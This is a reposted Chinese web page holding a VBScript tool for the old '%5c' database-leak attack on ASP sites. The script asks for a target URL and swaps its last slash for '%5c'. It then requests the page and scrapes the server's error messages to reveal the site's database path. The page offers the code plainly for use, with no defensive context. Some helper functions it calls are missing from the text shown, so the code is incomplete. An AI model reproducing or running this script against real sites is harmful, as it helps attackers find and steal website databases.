N年前的兩個腳本%5c暴庫
2019-10-26 18:00:05
供稿：網友
Dim xStatus,tStatus,vServer,vHeader,vRsBody
GetError=InputBox("請輸入網站,例如:http://www.hackerxfiles.com/files/list.asp?id=415","請輸入網址","http://www.hackerxfiles.com/files/list.asp?id=415")
If GetError = "" Then
MsgBox("輸入錯誤，程序結束！")
WScript.Quit
End If
GetError=StrReverse(GetError)
Tem2=0
For I=1 To Len(GetError)
If Mid(GetError,I,1) = Chr(47) And Tem2=0 Then
Temp=Temp & "c5%"
Tem2=Tem2+1
Else
Temp=Temp & Mid(GetError,I,1)
End If
Next
GetError=StrReverse(Temp)
Call xmlPost(GetError)
ErrorText = vServer & " " & xStatus
BaseSaver = GetStr(vRsBody,"找不到文件 '","'。</font>" & Chr(10))
If BaseSaver="[None]" Then
BaseSaver = GetStr(vRsBody,"<font face="&Chr(34)&"宋體"&Chr(34)&" size=2>'","'不是一個有效的路徑。")
End If
If BaseSaver="[None]" Then
BaseSaver = GetStr(vRsBody,"打開注冊表關鍵字 '","'。</font>")
End If
If BaseSaver = "[None]" Then
AllReturn= "<TITLE>Mappath出錯獲取數據庫地址 Lilo</TITLE><Body scroll='no' bgcolor='menu' style='border:0pt;margin-left:5pt'><B>" & ErrorText & "</B><BR><BR><textarea rows='15' name='S1' cols='57'>" &vRsBody& "</textarea>"
Else
AllReturn= "<TITLE>Mappath出錯獲取數據庫地址 Lilo</TITLE><Body scroll='no' bgcolor='menu' style='border:0pt;margin-left:5pt'><B>" & ErrorText & "</B><BR><BR><textarea rows='15' name='S1' cols='57'>" &BaseSaver& "</textarea>"
End If
Call OpenWin(AllReturn)
Set WHShell = WScript.CreateObject("WScript.Shell")
WHShell.AppActivate "Mappath出錯獲取數據庫地址 Lilo"
'WHShell.SendKeys ("%{TAB}")
Set WHShell = Nothing
Function URLEncoding(vstrIn)
strReturn = ""
For i = 1 To Len(vstrIn)
ThisChr = Mid(vStrIn,i,1)
If Abs(Asc(ThisChr)) < &HFF Then
strReturn = strReturn & ThisChr
Else
innerCode = Asc(ThisChr)
If innerCode < 0 Then
innerCode = innerCode + &H10000
End If
Hight8 = (innerCode And &HFF00)/ &HFF
Low8 = innerCode And &HFF
strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
End If
Next
URLEncoding = strReturn
End Function
